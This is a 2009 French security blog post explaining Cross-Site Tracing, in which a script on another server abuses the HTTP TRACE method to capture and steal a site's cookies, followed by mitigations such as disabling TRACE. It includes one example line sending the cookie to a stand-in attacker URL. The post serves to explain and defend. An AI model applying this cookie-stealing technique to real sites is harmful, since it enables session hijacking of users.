édito

Bienvenue sur ce blog, point de chute des différentes informations ayant trait à la sécurité ou à la filière STI de l'ensib et remontées aux ensibiens par un désormais ingénieur sécurité junior (et oui, c'est la 3A).
Si d'autres ensibiens dans le cadre d'une veille liée à leur job [ou pas...] veulent remonter des infos qu'ils jugent susceptibles d'intéresser notre filière, n'hésitez pas à me contacter pour contribuer :)

- PiWi -    


vendredi 17 juillet 2009

XST : "Prenez un cookie, M. Anderson"

Ce billet présente une vulnérabilité liée aux applications web, permettant par exemple de contourner certaines protections de navigateurs tels qu'Internet Explorer.

Le Cross-Site Tracing, ou XST pour les intimes, est une technique permettant de récupérer des informations telles que des cookies provenant d'un site arbitraire (même d'un serveur autre que celui ayant émis la page contenant le code).
XST se base sur la méthode HTTP TRACE, implémentée dans les principaux serveurs web (lisez Apache et IIS au minimum), qui est surtout (seulement ?) utilisée à titre de débogage. Le principe est simple, on envoie une requête et le serveur réémet ce qu'il a reçu.

Là où ça devient intéressant, c'est que le serveur va également renvoyer des choses telles que les cookies. Prenons un exemple : René-Gonzague se loggue sur son site préféré (A), ce qui créé un cookie pour le domaine A. Son pote Hubert-Théophile lui passe un lien vers une page pour télécharger son ISO de photos de vacances de 7Go sur un serveur B, contenant entre autre un bout de javascript. Ce script va faire une requête en AJAX sur le site A en utilisant la méthode TRACE. En fait, cette requête va être effectuée par le navigateur, qui du coup va envoyer le cookie du site A (puisque c'est son boulot). Le serveur derrière A va se contenter de réémettre ce qu'il a reçu, cookie compris, au gentil script JS. Celui-ci va alors pouvoir appliquer la technique standard de cookie stealing et envoyer le cookie au méchant hacker (avec bien sûr une URL du type "www.reallybadhacker.com/steal_my_cookie.php?niom-niom=" + cookie).

Ce qui est sympa, c'est que les protections des navigateurs du style "tu ne peux manger que le cookie du site d'où tu proviens" sont contournées, il suffit juste de pouvoir émettre une requête sur un autre serveur (attention tout de même, c'est parfois bloqué en standard, cf les applets Java).

Plusieurs façons d'éviter de voir ses cookies partir dans la nature :
  • désactiver le javascript (hardcore dans ce monde 2.0), mais on peut très bien parvenir à nos fins avec du flash ou du java
  • côté serveur, empêcher les requêtes TRACE avec une rewrite rule
  • ne pas aller sur Internet, parce que c'est plein de violeurs pédophiles néo-nazis
  • ...
Moralité : cookie l'est passé mon mot de passe ?

Aucun commentaire:

Enregistrer un commentaire